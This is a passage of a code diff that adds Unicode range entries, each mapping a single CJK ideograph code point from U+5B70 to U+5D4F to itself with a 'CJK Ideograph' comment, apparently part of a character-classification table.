+ ["\u5B70", "\u5B70"], /* CJK Ideograph */
+ ["\u5B71", "\u5B71"], /* CJK Ideograph */
+ ["\u5B72", "\u5B72"], /* CJK Ideograph */
+ ["\u5B73", "\u5B73"], /* CJK Ideograph */
+ ["\u5B74", "\u5B74"], /* CJK Ideograph */
+ ["\u5B75", "\u5B75"], /* CJK Ideograph */
+ ["\u5B76", "\u5B76"], /* CJK Ideograph */
+ ["\u5B77", "\u5B77"], /* CJK Ideograph */
+ ["\u5B78", "\u5B78"], /* CJK Ideograph */
+ ["\u5B79", "\u5B79"], /* CJK Ideograph */
+ ["\u5B7A", "\u5B7A"], /* CJK Ideograph */
+ ["\u5B7B", "\u5B7B"], /* CJK Ideograph */
+ ["\u5B7C", "\u5B7C"], /* CJK Ideograph */
+ ["\u5B7D", "\u5B7D"], /* CJK Ideograph */
+ ["\u5B7E", "\u5B7E"], /* CJK Ideograph */
+ ["\u5B7F", "\u5B7F"], /* CJK Ideograph */
+ ["\u5B80", "\u5B80"], /* CJK Ideograph */
+ ["\u5B81", "\u5B81"], /* CJK Ideograph */
+ ["\u5B82", "\u5B82"], /* CJK Ideograph */
+ ["\u5B83", "\u5B83"], /* CJK Ideograph */
+ ["\u5B84", "\u5B84"], /* CJK Ideograph */
+ ["\u5B85", "\u5B85"], /* CJK Ideograph */
+ ["\u5B86", "\u5B86"], /* CJK Ideograph */
+ ["\u5B87", "\u5B87"], /* CJK Ideograph */
+ ["\u5B88", "\u5B88"], /* CJK Ideograph */
+ ["\u5B89", "\u5B89"], /* CJK Ideograph */
+ ["\u5B8A", "\u5B8A"], /* CJK Ideograph */
+ ["\u5B8B", "\u5B8B"], /* CJK Ideograph */
+ ["\u5B8C", "\u5B8C"], /* CJK Ideograph */
+ ["\u5B8D", "\u5B8D"], /* CJK Ideograph */
+ ["\u5B8E", "\u5B8E"], /* CJK Ideograph */
+ ["\u5B8F", "\u5B8F"], /* CJK Ideograph */
+ ["\u5B90", "\u5B90"], /* CJK Ideograph */
+ ["\u5B91", "\u5B91"], /* CJK Ideograph */
+ ["\u5B92", "\u5B92"], /* CJK Ideograph */
+ ["\u5B93", "\u5B93"], /* CJK Ideograph */
+ ["\u5B94", "\u5B94"], /* CJK Ideograph */
+ ["\u5B95", "\u5B95"], /* CJK Ideograph */
+ ["\u5B96", "\u5B96"], /* CJK Ideograph */
+ ["\u5B97", "\u5B97"], /* CJK Ideograph */
+ ["\u5B98", "\u5B98"], /* CJK Ideograph */
+ ["\u5B99", "\u5B99"], /* CJK Ideograph */
+ ["\u5B9A", "\u5B9A"], /* CJK Ideograph */
+ ["\u5B9B", "\u5B9B"], /* CJK Ideograph */
+ ["\u5B9C", "\u5B9C"], /* CJK Ideograph */
+ ["\u5B9D", "\u5B9D"], /* CJK Ideograph */
+ ["\u5B9E", "\u5B9E"], /* CJK Ideograph */
+ ["\u5B9F", "\u5B9F"], /* CJK Ideograph */
+ ["\u5BA0", "\u5BA0"], /* CJK Ideograph */
+ ["\u5BA1", "\u5BA1"], /* CJK Ideograph */
+ ["\u5BA2", "\u5BA2"], /* CJK Ideograph */
+ ["\u5BA3", "\u5BA3"], /* CJK Ideograph */
+ ["\u5BA4", "\u5BA4"], /* CJK Ideograph */
+ ["\u5BA5", "\u5BA5"], /* CJK Ideograph */
+ ["\u5BA6", "\u5BA6"], /* CJK Ideograph */
+ ["\u5BA7", "\u5BA7"], /* CJK Ideograph */
+ ["\u5BA8", "\u5BA8"], /* CJK Ideograph */
+ ["\u5BA9", "\u5BA9"], /* CJK Ideograph */
+ ["\u5BAA", "\u5BAA"], /* CJK Ideograph */
+ ["\u5BAB", "\u5BAB"], /* CJK Ideograph */
+ ["\u5BAC", "\u5BAC"], /* CJK Ideograph */
+ ["\u5BAD", "\u5BAD"], /* CJK Ideograph */
+ ["\u5BAE", "\u5BAE"], /* CJK Ideograph */
+ ["\u5BAF", "\u5BAF"], /* CJK Ideograph */
+ ["\u5BB0", "\u5BB0"], /* CJK Ideograph */
+ ["\u5BB1", "\u5BB1"], /* CJK Ideograph */
+ ["\u5BB2", "\u5BB2"], /* CJK Ideograph */
+ ["\u5BB3", "\u5BB3"], /* CJK Ideograph */
+ ["\u5BB4", "\u5BB4"], /* CJK Ideograph */
+ ["\u5BB5", "\u5BB5"], /* CJK Ideograph */
+ ["\u5BB6", "\u5BB6"], /* CJK Ideograph */
+ ["\u5BB7", "\u5BB7"], /* CJK Ideograph */
+ ["\u5BB8", "\u5BB8"], /* CJK Ideograph */
+ ["\u5BB9", "\u5BB9"], /* CJK Ideograph */
+ ["\u5BBA", "\u5BBA"], /* CJK Ideograph */
+ ["\u5BBB", "\u5BBB"], /* CJK Ideograph */
+ ["\u5BBC", "\u5BBC"], /* CJK Ideograph */
+ ["\u5BBD", "\u5BBD"], /* CJK Ideograph */
+ ["\u5BBE", "\u5BBE"], /* CJK Ideograph */
+ ["\u5BBF", "\u5BBF"], /* CJK Ideograph */
+ ["\u5BC0", "\u5BC0"], /* CJK Ideograph */
+ ["\u5BC1", "\u5BC1"], /* CJK Ideograph */
+ ["\u5BC2", "\u5BC2"], /* CJK Ideograph */
+ ["\u5BC3", "\u5BC3"], /* CJK Ideograph */
+ ["\u5BC4", "\u5BC4"], /* CJK Ideograph */
+ ["\u5BC5", "\u5BC5"], /* CJK Ideograph */
+ ["\u5BC6", "\u5BC6"], /* CJK Ideograph */
+ ["\u5BC7", "\u5BC7"], /* CJK Ideograph */
+ ["\u5BC8", "\u5BC8"], /* CJK Ideograph */
+ ["\u5BC9", "\u5BC9"], /* CJK Ideograph */
+ ["\u5BCA", "\u5BCA"], /* CJK Ideograph */
+ ["\u5BCB", "\u5BCB"], /* CJK Ideograph */
+ ["\u5BCC", "\u5BCC"], /* CJK Ideograph */
+ ["\u5BCD", "\u5BCD"], /* CJK Ideograph */
+ ["\u5BCE", "\u5BCE"], /* CJK Ideograph */
+ ["\u5BCF", "\u5BCF"], /* CJK Ideograph */
+ ["\u5BD0", "\u5BD0"], /* CJK Ideograph */
+ ["\u5BD1", "\u5BD1"], /* CJK Ideograph */
+ ["\u5BD2", "\u5BD2"], /* CJK Ideograph */
+ ["\u5BD3", "\u5BD3"], /* CJK Ideograph */
+ ["\u5BD4", "\u5BD4"], /* CJK Ideograph */
+ ["\u5BD5", "\u5BD5"], /* CJK Ideograph */
+ ["\u5BD6", "\u5BD6"], /* CJK Ideograph */
+ ["\u5BD7", "\u5BD7"], /* CJK Ideograph */
+ ["\u5BD8", "\u5BD8"], /* CJK Ideograph */
+ ["\u5BD9", "\u5BD9"], /* CJK Ideograph */
+ ["\u5BDA", "\u5BDA"], /* CJK Ideograph */
+ ["\u5BDB", "\u5BDB"], /* CJK Ideograph */
+ ["\u5BDC", "\u5BDC"], /* CJK Ideograph */
+ ["\u5BDD", "\u5BDD"], /* CJK Ideograph */
+ ["\u5BDE", "\u5BDE"], /* CJK Ideograph */
+ ["\u5BDF", "\u5BDF"], /* CJK Ideograph */
+ ["\u5BE0", "\u5BE0"], /* CJK Ideograph */
+ ["\u5BE1", "\u5BE1"], /* CJK Ideograph */
+ ["\u5BE2", "\u5BE2"], /* CJK Ideograph */
+ ["\u5BE3", "\u5BE3"], /* CJK Ideograph */
+ ["\u5BE4", "\u5BE4"], /* CJK Ideograph */
+ ["\u5BE5", "\u5BE5"], /* CJK Ideograph */
+ ["\u5BE6", "\u5BE6"], /* CJK Ideograph */
+ ["\u5BE7", "\u5BE7"], /* CJK Ideograph */
+ ["\u5BE8", "\u5BE8"], /* CJK Ideograph */
+ ["\u5BE9", "\u5BE9"], /* CJK Ideograph */
+ ["\u5BEA", "\u5BEA"], /* CJK Ideograph */
+ ["\u5BEB", "\u5BEB"], /* CJK Ideograph */
+ ["\u5BEC", "\u5BEC"], /* CJK Ideograph */
+ ["\u5BED", "\u5BED"], /* CJK Ideograph */
+ ["\u5BEE", "\u5BEE"], /* CJK Ideograph */
+ ["\u5BEF", "\u5BEF"], /* CJK Ideograph */
+ ["\u5BF0", "\u5BF0"], /* CJK Ideograph */
+ ["\u5BF1", "\u5BF1"], /* CJK Ideograph */
+ ["\u5BF2", "\u5BF2"], /* CJK Ideograph */
+ ["\u5BF3", "\u5BF3"], /* CJK Ideograph */
+ ["\u5BF4", "\u5BF4"], /* CJK Ideograph */
+ ["\u5BF5", "\u5BF5"], /* CJK Ideograph */
+ ["\u5BF6", "\u5BF6"], /* CJK Ideograph */
+ ["\u5BF7", "\u5BF7"], /* CJK Ideograph */
+ ["\u5BF8", "\u5BF8"], /* CJK Ideograph */
+ ["\u5BF9", "\u5BF9"], /* CJK Ideograph */
+ ["\u5BFA", "\u5BFA"], /* CJK Ideograph */
+ ["\u5BFB", "\u5BFB"], /* CJK Ideograph */
+ ["\u5BFC", "\u5BFC"], /* CJK Ideograph */
+ ["\u5BFD", "\u5BFD"], /* CJK Ideograph */
+ ["\u5BFE", "\u5BFE"], /* CJK Ideograph */
+ ["\u5BFF", "\u5BFF"], /* CJK Ideograph */
+ ["\u5C00", "\u5C00"], /* CJK Ideograph */
+ ["\u5C01", "\u5C01"], /* CJK Ideograph */
+ ["\u5C02", "\u5C02"], /* CJK Ideograph */
+ ["\u5C03", "\u5C03"], /* CJK Ideograph */
+ ["\u5C04", "\u5C04"], /* CJK Ideograph */
+ ["\u5C05", "\u5C05"], /* CJK Ideograph */
+ ["\u5C06", "\u5C06"], /* CJK Ideograph */
+ ["\u5C07", "\u5C07"], /* CJK Ideograph */
+ ["\u5C08", "\u5C08"], /* CJK Ideograph */
+ ["\u5C09", "\u5C09"], /* CJK Ideograph */
+ ["\u5C0A", "\u5C0A"], /* CJK Ideograph */
+ ["\u5C0B", "\u5C0B"], /* CJK Ideograph */
+ ["\u5C0C", "\u5C0C"], /* CJK Ideograph */
+ ["\u5C0D", "\u5C0D"], /* CJK Ideograph */
+ ["\u5C0E", "\u5C0E"], /* CJK Ideograph */
+ ["\u5C0F", "\u5C0F"], /* CJK Ideograph */
+ ["\u5C10", "\u5C10"], /* CJK Ideograph */
+ ["\u5C11", "\u5C11"], /* CJK Ideograph */
+ ["\u5C12", "\u5C12"], /* CJK Ideograph */
+ ["\u5C13", "\u5C13"], /* CJK Ideograph */
+ ["\u5C14", "\u5C14"], /* CJK Ideograph */
+ ["\u5C15", "\u5C15"], /* CJK Ideograph */
+ ["\u5C16", "\u5C16"], /* CJK Ideograph */
+ ["\u5C17", "\u5C17"], /* CJK Ideograph */
+ ["\u5C18", "\u5C18"], /* CJK Ideograph */
+ ["\u5C19", "\u5C19"], /* CJK Ideograph */
+ ["\u5C1A", "\u5C1A"], /* CJK Ideograph */
+ ["\u5C1B", "\u5C1B"], /* CJK Ideograph */
+ ["\u5C1C", "\u5C1C"], /* CJK Ideograph */
+ ["\u5C1D", "\u5C1D"], /* CJK Ideograph */
+ ["\u5C1E", "\u5C1E"], /* CJK Ideograph */
+ ["\u5C1F", "\u5C1F"], /* CJK Ideograph */
+ ["\u5C20", "\u5C20"], /* CJK Ideograph */
+ ["\u5C21", "\u5C21"], /* CJK Ideograph */
+ ["\u5C22", "\u5C22"], /* CJK Ideograph */
+ ["\u5C23", "\u5C23"], /* CJK Ideograph */
+ ["\u5C24", "\u5C24"], /* CJK Ideograph */
+ ["\u5C25", "\u5C25"], /* CJK Ideograph */
+ ["\u5C26", "\u5C26"], /* CJK Ideograph */
+ ["\u5C27", "\u5C27"], /* CJK Ideograph */
+ ["\u5C28", "\u5C28"], /* CJK Ideograph */
+ ["\u5C29", "\u5C29"], /* CJK Ideograph */
+ ["\u5C2A", "\u5C2A"], /* CJK Ideograph */
+ ["\u5C2B", "\u5C2B"], /* CJK Ideograph */
+ ["\u5C2C", "\u5C2C"], /* CJK Ideograph */
+ ["\u5C2D", "\u5C2D"], /* CJK Ideograph */
+ ["\u5C2E", "\u5C2E"], /* CJK Ideograph */
+ ["\u5C2F", "\u5C2F"], /* CJK Ideograph */
+ ["\u5C30", "\u5C30"], /* CJK Ideograph */
+ ["\u5C31", "\u5C31"], /* CJK Ideograph */
+ ["\u5C32", "\u5C32"], /* CJK Ideograph */
+ ["\u5C33", "\u5C33"], /* CJK Ideograph */
+ ["\u5C34", "\u5C34"], /* CJK Ideograph */
+ ["\u5C35", "\u5C35"], /* CJK Ideograph */
+ ["\u5C36", "\u5C36"], /* CJK Ideograph */
+ ["\u5C37", "\u5C37"], /* CJK Ideograph */
+ ["\u5C38", "\u5C38"], /* CJK Ideograph */
+ ["\u5C39", "\u5C39"], /* CJK Ideograph */
+ ["\u5C3A", "\u5C3A"], /* CJK Ideograph */
+ ["\u5C3B", "\u5C3B"], /* CJK Ideograph */
+ ["\u5C3C", "\u5C3C"], /* CJK Ideograph */
+ ["\u5C3D", "\u5C3D"], /* CJK Ideograph */
+ ["\u5C3E", "\u5C3E"], /* CJK Ideograph */
+ ["\u5C3F", "\u5C3F"], /* CJK Ideograph */
+ ["\u5C40", "\u5C40"], /* CJK Ideograph */
+ ["\u5C41", "\u5C41"], /* CJK Ideograph */
+ ["\u5C42", "\u5C42"], /* CJK Ideograph */
+ ["\u5C43", "\u5C43"], /* CJK Ideograph */
+ ["\u5C44", "\u5C44"], /* CJK Ideograph */
+ ["\u5C45", "\u5C45"], /* CJK Ideograph */
+ ["\u5C46", "\u5C46"], /* CJK Ideograph */
+ ["\u5C47", "\u5C47"], /* CJK Ideograph */
+ ["\u5C48", "\u5C48"], /* CJK Ideograph */
+ ["\u5C49", "\u5C49"], /* CJK Ideograph */
+ ["\u5C4A", "\u5C4A"], /* CJK Ideograph */
+ ["\u5C4B", "\u5C4B"], /* CJK Ideograph */
+ ["\u5C4C", "\u5C4C"], /* CJK Ideograph */
+ ["\u5C4D", "\u5C4D"], /* CJK Ideograph */
+ ["\u5C4E", "\u5C4E"], /* CJK Ideograph */
+ ["\u5C4F", "\u5C4F"], /* CJK Ideograph */
+ ["\u5C50", "\u5C50"], /* CJK Ideograph */
+ ["\u5C51", "\u5C51"], /* CJK Ideograph */
+ ["\u5C52", "\u5C52"], /* CJK Ideograph */
+ ["\u5C53", "\u5C53"], /* CJK Ideograph */
+ ["\u5C54", "\u5C54"], /* CJK Ideograph */
+ ["\u5C55", "\u5C55"], /* CJK Ideograph */
+ ["\u5C56", "\u5C56"], /* CJK Ideograph */
+ ["\u5C57", "\u5C57"], /* CJK Ideograph */
+ ["\u5C58", "\u5C58"], /* CJK Ideograph */
+ ["\u5C59", "\u5C59"], /* CJK Ideograph */
+ ["\u5C5A", "\u5C5A"], /* CJK Ideograph */
+ ["\u5C5B", "\u5C5B"], /* CJK Ideograph */
+ ["\u5C5C", "\u5C5C"], /* CJK Ideograph */
+ ["\u5C5D", "\u5C5D"], /* CJK Ideograph */
+ ["\u5C5E", "\u5C5E"], /* CJK Ideograph */
+ ["\u5C5F", "\u5C5F"], /* CJK Ideograph */
+ ["\u5C60", "\u5C60"], /* CJK Ideograph */
+ ["\u5C61", "\u5C61"], /* CJK Ideograph */
+ ["\u5C62", "\u5C62"], /* CJK Ideograph */
+ ["\u5C63", "\u5C63"], /* CJK Ideograph */
+ ["\u5C64", "\u5C64"], /* CJK Ideograph */
+ ["\u5C65", "\u5C65"], /* CJK Ideograph */
+ ["\u5C66", "\u5C66"], /* CJK Ideograph */
+ ["\u5C67", "\u5C67"], /* CJK Ideograph */
+ ["\u5C68", "\u5C68"], /* CJK Ideograph */
+ ["\u5C69", "\u5C69"], /* CJK Ideograph */
+ ["\u5C6A", "\u5C6A"], /* CJK Ideograph */
+ ["\u5C6B", "\u5C6B"], /* CJK Ideograph */
+ ["\u5C6C", "\u5C6C"], /* CJK Ideograph */
+ ["\u5C6D", "\u5C6D"], /* CJK Ideograph */
+ ["\u5C6E", "\u5C6E"], /* CJK Ideograph */
+ ["\u5C6F", "\u5C6F"], /* CJK Ideograph */
+ ["\u5C70", "\u5C70"], /* CJK Ideograph */
+ ["\u5C71", "\u5C71"], /* CJK Ideograph */
+ ["\u5C72", "\u5C72"], /* CJK Ideograph */
+ ["\u5C73", "\u5C73"], /* CJK Ideograph */
+ ["\u5C74", "\u5C74"], /* CJK Ideograph */
+ ["\u5C75", "\u5C75"], /* CJK Ideograph */
+ ["\u5C76", "\u5C76"], /* CJK Ideograph */
+ ["\u5C77", "\u5C77"], /* CJK Ideograph */
+ ["\u5C78", "\u5C78"], /* CJK Ideograph */
+ ["\u5C79", "\u5C79"], /* CJK Ideograph */
+ ["\u5C7A", "\u5C7A"], /* CJK Ideograph */
+ ["\u5C7B", "\u5C7B"], /* CJK Ideograph */
+ ["\u5C7C", "\u5C7C"], /* CJK Ideograph */
+ ["\u5C7D", "\u5C7D"], /* CJK Ideograph */
+ ["\u5C7E", "\u5C7E"], /* CJK Ideograph */
+ ["\u5C7F", "\u5C7F"], /* CJK Ideograph */
+ ["\u5C80", "\u5C80"], /* CJK Ideograph */
+ ["\u5C81", "\u5C81"], /* CJK Ideograph */
+ ["\u5C82", "\u5C82"], /* CJK Ideograph */
+ ["\u5C83", "\u5C83"], /* CJK Ideograph */
+ ["\u5C84", "\u5C84"], /* CJK Ideograph */
+ ["\u5C85", "\u5C85"], /* CJK Ideograph */
+ ["\u5C86", "\u5C86"], /* CJK Ideograph */
+ ["\u5C87", "\u5C87"], /* CJK Ideograph */
+ ["\u5C88", "\u5C88"], /* CJK Ideograph */
+ ["\u5C89", "\u5C89"], /* CJK Ideograph */
+ ["\u5C8A", "\u5C8A"], /* CJK Ideograph */
+ ["\u5C8B", "\u5C8B"], /* CJK Ideograph */
+ ["\u5C8C", "\u5C8C"], /* CJK Ideograph */
+ ["\u5C8D", "\u5C8D"], /* CJK Ideograph */
+ ["\u5C8E", "\u5C8E"], /* CJK Ideograph */
+ ["\u5C8F", "\u5C8F"], /* CJK Ideograph */
+ ["\u5C90", "\u5C90"], /* CJK Ideograph */
+ ["\u5C91", "\u5C91"], /* CJK Ideograph */
+ ["\u5C92", "\u5C92"], /* CJK Ideograph */
+ ["\u5C93", "\u5C93"], /* CJK Ideograph */
+ ["\u5C94", "\u5C94"], /* CJK Ideograph */
+ ["\u5C95", "\u5C95"], /* CJK Ideograph */
+ ["\u5C96", "\u5C96"], /* CJK Ideograph */
+ ["\u5C97", "\u5C97"], /* CJK Ideograph */
+ ["\u5C98", "\u5C98"], /* CJK Ideograph */
+ ["\u5C99", "\u5C99"], /* CJK Ideograph */
+ ["\u5C9A", "\u5C9A"], /* CJK Ideograph */
+ ["\u5C9B", "\u5C9B"], /* CJK Ideograph */
+ ["\u5C9C", "\u5C9C"], /* CJK Ideograph */
+ ["\u5C9D", "\u5C9D"], /* CJK Ideograph */
+ ["\u5C9E", "\u5C9E"], /* CJK Ideograph */
+ ["\u5C9F", "\u5C9F"], /* CJK Ideograph */
+ ["\u5CA0", "\u5CA0"], /* CJK Ideograph */
+ ["\u5CA1", "\u5CA1"], /* CJK Ideograph */
+ ["\u5CA2", "\u5CA2"], /* CJK Ideograph */
+ ["\u5CA3", "\u5CA3"], /* CJK Ideograph */
+ ["\u5CA4", "\u5CA4"], /* CJK Ideograph */
+ ["\u5CA5", "\u5CA5"], /* CJK Ideograph */
+ ["\u5CA6", "\u5CA6"], /* CJK Ideograph */
+ ["\u5CA7", "\u5CA7"], /* CJK Ideograph */
+ ["\u5CA8", "\u5CA8"], /* CJK Ideograph */
+ ["\u5CA9", "\u5CA9"], /* CJK Ideograph */
+ ["\u5CAA", "\u5CAA"], /* CJK Ideograph */
+ ["\u5CAB", "\u5CAB"], /* CJK Ideograph */
+ ["\u5CAC", "\u5CAC"], /* CJK Ideograph */
+ ["\u5CAD", "\u5CAD"], /* CJK Ideograph */
+ ["\u5CAE", "\u5CAE"], /* CJK Ideograph */
+ ["\u5CAF", "\u5CAF"], /* CJK Ideograph */
+ ["\u5CB0", "\u5CB0"], /* CJK Ideograph */
+ ["\u5CB1", "\u5CB1"], /* CJK Ideograph */
+ ["\u5CB2", "\u5CB2"], /* CJK Ideograph */
+ ["\u5CB3", "\u5CB3"], /* CJK Ideograph */
+ ["\u5CB4", "\u5CB4"], /* CJK Ideograph */
+ ["\u5CB5", "\u5CB5"], /* CJK Ideograph */
+ ["\u5CB6", "\u5CB6"], /* CJK Ideograph */
+ ["\u5CB7", "\u5CB7"], /* CJK Ideograph */
+ ["\u5CB8", "\u5CB8"], /* CJK Ideograph */
+ ["\u5CB9", "\u5CB9"], /* CJK Ideograph */
+ ["\u5CBA", "\u5CBA"], /* CJK Ideograph */
+ ["\u5CBB", "\u5CBB"], /* CJK Ideograph */
+ ["\u5CBC", "\u5CBC"], /* CJK Ideograph */
+ ["\u5CBD", "\u5CBD"], /* CJK Ideograph */
+ ["\u5CBE", "\u5CBE"], /* CJK Ideograph */
+ ["\u5CBF", "\u5CBF"], /* CJK Ideograph */
+ ["\u5CC0", "\u5CC0"], /* CJK Ideograph */
+ ["\u5CC1", "\u5CC1"], /* CJK Ideograph */
+ ["\u5CC2", "\u5CC2"], /* CJK Ideograph */
+ ["\u5CC3", "\u5CC3"], /* CJK Ideograph */
+ ["\u5CC4", "\u5CC4"], /* CJK Ideograph */
+ ["\u5CC5", "\u5CC5"], /* CJK Ideograph */
+ ["\u5CC6", "\u5CC6"], /* CJK Ideograph */
+ ["\u5CC7", "\u5CC7"], /* CJK Ideograph */
+ ["\u5CC8", "\u5CC8"], /* CJK Ideograph */
+ ["\u5CC9", "\u5CC9"], /* CJK Ideograph */
+ ["\u5CCA", "\u5CCA"], /* CJK Ideograph */
+ ["\u5CCB", "\u5CCB"], /* CJK Ideograph */
+ ["\u5CCC", "\u5CCC"], /* CJK Ideograph */
+ ["\u5CCD", "\u5CCD"], /* CJK Ideograph */
+ ["\u5CCE", "\u5CCE"], /* CJK Ideograph */
+ ["\u5CCF", "\u5CCF"], /* CJK Ideograph */
+ ["\u5CD0", "\u5CD0"], /* CJK Ideograph */
+ ["\u5CD1", "\u5CD1"], /* CJK Ideograph */
+ ["\u5CD2", "\u5CD2"], /* CJK Ideograph */
+ ["\u5CD3", "\u5CD3"], /* CJK Ideograph */
+ ["\u5CD4", "\u5CD4"], /* CJK Ideograph */
+ ["\u5CD5", "\u5CD5"], /* CJK Ideograph */
+ ["\u5CD6", "\u5CD6"], /* CJK Ideograph */
+ ["\u5CD7", "\u5CD7"], /* CJK Ideograph */
+ ["\u5CD8", "\u5CD8"], /* CJK Ideograph */
+ ["\u5CD9", "\u5CD9"], /* CJK Ideograph */
+ ["\u5CDA", "\u5CDA"], /* CJK Ideograph */
+ ["\u5CDB", "\u5CDB"], /* CJK Ideograph */
+ ["\u5CDC", "\u5CDC"], /* CJK Ideograph */
+ ["\u5CDD", "\u5CDD"], /* CJK Ideograph */
+ ["\u5CDE", "\u5CDE"], /* CJK Ideograph */
+ ["\u5CDF", "\u5CDF"], /* CJK Ideograph */
+ ["\u5CE0", "\u5CE0"], /* CJK Ideograph */
+ ["\u5CE1", "\u5CE1"], /* CJK Ideograph */
+ ["\u5CE2", "\u5CE2"], /* CJK Ideograph */
+ ["\u5CE3", "\u5CE3"], /* CJK Ideograph */
+ ["\u5CE4", "\u5CE4"], /* CJK Ideograph */
+ ["\u5CE5", "\u5CE5"], /* CJK Ideograph */
+ ["\u5CE6", "\u5CE6"], /* CJK Ideograph */
+ ["\u5CE7", "\u5CE7"], /* CJK Ideograph */
+ ["\u5CE8", "\u5CE8"], /* CJK Ideograph */
+ ["\u5CE9", "\u5CE9"], /* CJK Ideograph */
+ ["\u5CEA", "\u5CEA"], /* CJK Ideograph */
+ ["\u5CEB", "\u5CEB"], /* CJK Ideograph */
+ ["\u5CEC", "\u5CEC"], /* CJK Ideograph */
+ ["\u5CED", "\u5CED"], /* CJK Ideograph */
+ ["\u5CEE", "\u5CEE"], /* CJK Ideograph */
+ ["\u5CEF", "\u5CEF"], /* CJK Ideograph */
+ ["\u5CF0", "\u5CF0"], /* CJK Ideograph */
+ ["\u5CF1", "\u5CF1"], /* CJK Ideograph */
+ ["\u5CF2", "\u5CF2"], /* CJK Ideograph */
+ ["\u5CF3", "\u5CF3"], /* CJK Ideograph */
+ ["\u5CF4", "\u5CF4"], /* CJK Ideograph */
+ ["\u5CF5", "\u5CF5"], /* CJK Ideograph */
+ ["\u5CF6", "\u5CF6"], /* CJK Ideograph */
+ ["\u5CF7", "\u5CF7"], /* CJK Ideograph */
+ ["\u5CF8", "\u5CF8"], /* CJK Ideograph */
+ ["\u5CF9", "\u5CF9"], /* CJK Ideograph */
+ ["\u5CFA", "\u5CFA"], /* CJK Ideograph */
+ ["\u5CFB", "\u5CFB"], /* CJK Ideograph */
+ ["\u5CFC", "\u5CFC"], /* CJK Ideograph */
+ ["\u5CFD", "\u5CFD"], /* CJK Ideograph */
+ ["\u5CFE", "\u5CFE"], /* CJK Ideograph */
+ ["\u5CFF", "\u5CFF"], /* CJK Ideograph */
+ ["\u5D00", "\u5D00"], /* CJK Ideograph */
+ ["\u5D01", "\u5D01"], /* CJK Ideograph */
+ ["\u5D02", "\u5D02"], /* CJK Ideograph */
+ ["\u5D03", "\u5D03"], /* CJK Ideograph */
+ ["\u5D04", "\u5D04"], /* CJK Ideograph */
+ ["\u5D05", "\u5D05"], /* CJK Ideograph */
+ ["\u5D06", "\u5D06"], /* CJK Ideograph */
+ ["\u5D07", "\u5D07"], /* CJK Ideograph */
+ ["\u5D08", "\u5D08"], /* CJK Ideograph */
+ ["\u5D09", "\u5D09"], /* CJK Ideograph */
+ ["\u5D0A", "\u5D0A"], /* CJK Ideograph */
+ ["\u5D0B", "\u5D0B"], /* CJK Ideograph */
+ ["\u5D0C", "\u5D0C"], /* CJK Ideograph */
+ ["\u5D0D", "\u5D0D"], /* CJK Ideograph */
+ ["\u5D0E", "\u5D0E"], /* CJK Ideograph */
+ ["\u5D0F", "\u5D0F"], /* CJK Ideograph */
+ ["\u5D10", "\u5D10"], /* CJK Ideograph */
+ ["\u5D11", "\u5D11"], /* CJK Ideograph */
+ ["\u5D12", "\u5D12"], /* CJK Ideograph */
+ ["\u5D13", "\u5D13"], /* CJK Ideograph */
+ ["\u5D14", "\u5D14"], /* CJK Ideograph */
+ ["\u5D15", "\u5D15"], /* CJK Ideograph */
+ ["\u5D16", "\u5D16"], /* CJK Ideograph */
+ ["\u5D17", "\u5D17"], /* CJK Ideograph */
+ ["\u5D18", "\u5D18"], /* CJK Ideograph */
+ ["\u5D19", "\u5D19"], /* CJK Ideograph */
+ ["\u5D1A", "\u5D1A"], /* CJK Ideograph */
+ ["\u5D1B", "\u5D1B"], /* CJK Ideograph */
+ ["\u5D1C", "\u5D1C"], /* CJK Ideograph */
+ ["\u5D1D", "\u5D1D"], /* CJK Ideograph */
+ ["\u5D1E", "\u5D1E"], /* CJK Ideograph */
+ ["\u5D1F", "\u5D1F"], /* CJK Ideograph */
+ ["\u5D20", "\u5D20"], /* CJK Ideograph */
+ ["\u5D21", "\u5D21"], /* CJK Ideograph */
+ ["\u5D22", "\u5D22"], /* CJK Ideograph */
+ ["\u5D23", "\u5D23"], /* CJK Ideograph */
+ ["\u5D24", "\u5D24"], /* CJK Ideograph */
+ ["\u5D25", "\u5D25"], /* CJK Ideograph */
+ ["\u5D26", "\u5D26"], /* CJK Ideograph */
+ ["\u5D27", "\u5D27"], /* CJK Ideograph */
+ ["\u5D28", "\u5D28"], /* CJK Ideograph */
+ ["\u5D29", "\u5D29"], /* CJK Ideograph */
+ ["\u5D2A", "\u5D2A"], /* CJK Ideograph */
+ ["\u5D2B", "\u5D2B"], /* CJK Ideograph */
+ ["\u5D2C", "\u5D2C"], /* CJK Ideograph */
+ ["\u5D2D", "\u5D2D"], /* CJK Ideograph */
+ ["\u5D2E", "\u5D2E"], /* CJK Ideograph */
+ ["\u5D2F", "\u5D2F"], /* CJK Ideograph */
+ ["\u5D30", "\u5D30"], /* CJK Ideograph */
+ ["\u5D31", "\u5D31"], /* CJK Ideograph */
+ ["\u5D32", "\u5D32"], /* CJK Ideograph */
+ ["\u5D33", "\u5D33"], /* CJK Ideograph */
+ ["\u5D34", "\u5D34"], /* CJK Ideograph */
+ ["\u5D35", "\u5D35"], /* CJK Ideograph */
+ ["\u5D36", "\u5D36"], /* CJK Ideograph */
+ ["\u5D37", "\u5D37"], /* CJK Ideograph */
+ ["\u5D38", "\u5D38"], /* CJK Ideograph */
+ ["\u5D39", "\u5D39"], /* CJK Ideograph */
+ ["\u5D3A", "\u5D3A"], /* CJK Ideograph */
+ ["\u5D3B", "\u5D3B"], /* CJK Ideograph */
+ ["\u5D3C", "\u5D3C"], /* CJK Ideograph */
+ ["\u5D3D", "\u5D3D"], /* CJK Ideograph */
+ ["\u5D3E", "\u5D3E"], /* CJK Ideograph */
+ ["\u5D3F", "\u5D3F"], /* CJK Ideograph */
+ ["\u5D40", "\u5D40"], /* CJK Ideograph */
+ ["\u5D41", "\u5D41"], /* CJK Ideograph */
+ ["\u5D42", "\u5D42"], /* CJK Ideograph */
+ ["\u5D43", "\u5D43"], /* CJK Ideograph */
+ ["\u5D44", "\u5D44"], /* CJK Ideograph */
+ ["\u5D45", "\u5D45"], /* CJK Ideograph */
+ ["\u5D46", "\u5D46"], /* CJK Ideograph */
+ ["\u5D47", "\u5D47"], /* CJK Ideograph */
+ ["\u5D48", "\u5D48"], /* CJK Ideograph */
+ ["\u5D49", "\u5D49"], /* CJK Ideograph */
+ ["\u5D4A", "\u5D4A"], /* CJK Ideograph */
+ ["\u5D4B", "\u5D4B"], /* CJK Ideograph */
+ ["\u5D4C", "\u5D4C"], /* CJK Ideograph */
+ ["\u5D4D", "\u5D4D"], /* CJK Ideograph */
+ ["\u5D4E", "\u5D4E"], /* CJK Ideograph */
+ ["\u5D4F", "\u5D4F"], /* CJK Ideograph */
